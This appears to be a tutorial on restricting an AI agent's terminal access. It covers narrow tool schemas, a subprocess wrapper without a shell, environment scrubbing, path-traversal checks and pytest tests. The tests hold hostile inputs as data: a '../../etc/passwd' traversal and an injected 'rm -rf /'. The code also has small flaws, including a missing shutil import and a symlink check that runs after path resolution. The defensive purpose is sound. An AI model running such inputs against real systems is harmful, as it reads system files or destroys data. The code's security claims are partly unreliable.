Tool Calling Mastery: Teach Agents to Use Linux Terminal Safely

# ❌ Too broad — model can run anything
tools = [{"name": "run_bash", "input_schema": {"command": {"type": "string"}}}]

# ✅ Narrow tools with constrained inputs
tools = [
    {
        "name": "list_directory",
        "description": "List files in a directory. Never traverses outside the project root.",
        "input_schema": {
            "type": "object",
            "properties": {
                "path": {
                    "type": "string",
                    "description": "Relative path from project root"
                }
            },
            "required": ["path"]
        }
    },
    {
        "name": "read_file",
        "description": "Read a file's contents. Refuses paths with '..' or absolute paths.",
        "input_schema": {
            "type": "object",
            "properties": {
                "path": {"type": "string"}
            },
            "required": ["path"]
        }
    },
    {
        "name": "run_test",
        "description": "Run the project test suite. No arguments accepted.",
        "input_schema": {"type": "object", "properties": {}}
    }
]

import subprocess
import shlex
import os
from pathlib import Path

PROJECT_ROOT = Path("/workspace/project").resolve()

def safe_run(cmd: list[str], timeout: int = 10) -> dict:
    """
    Run a command with no shell interpolation, bounded runtime,
    and output capped to prevent memory exhaustion.
    """
    # Resolve the binary path — rejects shell builtins and aliases
    binary = shutil.which(cmd[0])
    if binary is None:
        return {"error": f"Command not found: {cmd[0]}"}

    result = subprocess.run(
        cmd,
        capture_output=True,
        text=True,
        timeout=timeout,          # Kills hanging processes
        cwd=PROJECT_ROOT,         # Working dir is always project root
        env=sanitized_env(),      # Strip secrets from environment
        shell=False               # Never use shell=True
    )

    return {
        "stdout": result.stdout[:10_000],   # Cap output at 10KB
        "stderr": result.stderr[:2_000],
        "exit_code": result.returncode
    }

def sanitized_env() -> dict:
    """Return a minimal env — remove tokens, keys, and passwords."""
    safe_keys = {"PATH", "HOME", "LANG", "TERM", "USER"}
    return {k: v for k, v in os.environ.items() if k in safe_keys}

def resolve_safe_path(user_path: str, root: Path) -> Path:
    """
    Resolve a user-supplied path against a root.
    Raises ValueError if it would escape the root.
    """
    # Reject absolute paths immediately
    if os.path.isabs(user_path):
        raise ValueError(f"Absolute paths not allowed: {user_path}")

    resolved = (root / user_path).resolve()

    # resolved must still be inside root
    try:
        resolved.relative_to(root)
    except ValueError:
        raise ValueError(f"Path traversal detected: {user_path}")

    return resolved

def handle_read_file(path: str) -> dict:
    try:
        safe = resolve_safe_path(path, PROJECT_ROOT)
    except ValueError as e:
        return {"error": str(e)}  # Return error to agent, don't raise

    # File must exist and be a regular file (not a symlink to /etc/passwd)
    if not safe.is_file() or safe.is_symlink():
        return {"error": "File not found or not a regular file"}

    return {"content": safe.read_text(errors="replace")[:50_000]}

from dataclasses import dataclass
from typing import Literal

@dataclass
class ToolResult:
    status: Literal["ok", "error", "timeout", "permission_denied"]
    data: str
    hint: str = ""  # Actionable suggestion for the agent

def run_tests() -> ToolResult:
    try:
        result = safe_run(["pytest", "--tb=short", "-q"], timeout=60)
    except subprocess.TimeoutExpired:
        return ToolResult(
            status="timeout",
            data="",
            hint="Tests exceeded 60s. Run a specific test file instead."
        )

    if result["exit_code"] != 0:
        return ToolResult(
            status="error",
            data=result["stderr"],
            hint="Check the failing test name and read that test file."
        )

    return ToolResult(status="ok", data=result["stdout"])

import pytest

def test_path_traversal_blocked():
    with pytest.raises(ValueError, match="traversal"):
        resolve_safe_path("../../etc/passwd", PROJECT_ROOT)

def test_absolute_path_blocked():
    with pytest.raises(ValueError, match="Absolute"):
        resolve_safe_path("/etc/hosts", PROJECT_ROOT)

def test_subprocess_no_shell_interpolation():
    # If shell=False, semicolons are literal, not separators
    result = safe_run(["echo", "hello; rm -rf /"])
    assert result["stdout"].strip() == "hello; rm -rf /"

def test_env_stripped():
    os.environ["SECRET_TOKEN"] = "do-not-leak"
    env = sanitized_env()
    assert "SECRET_TOKEN" not in env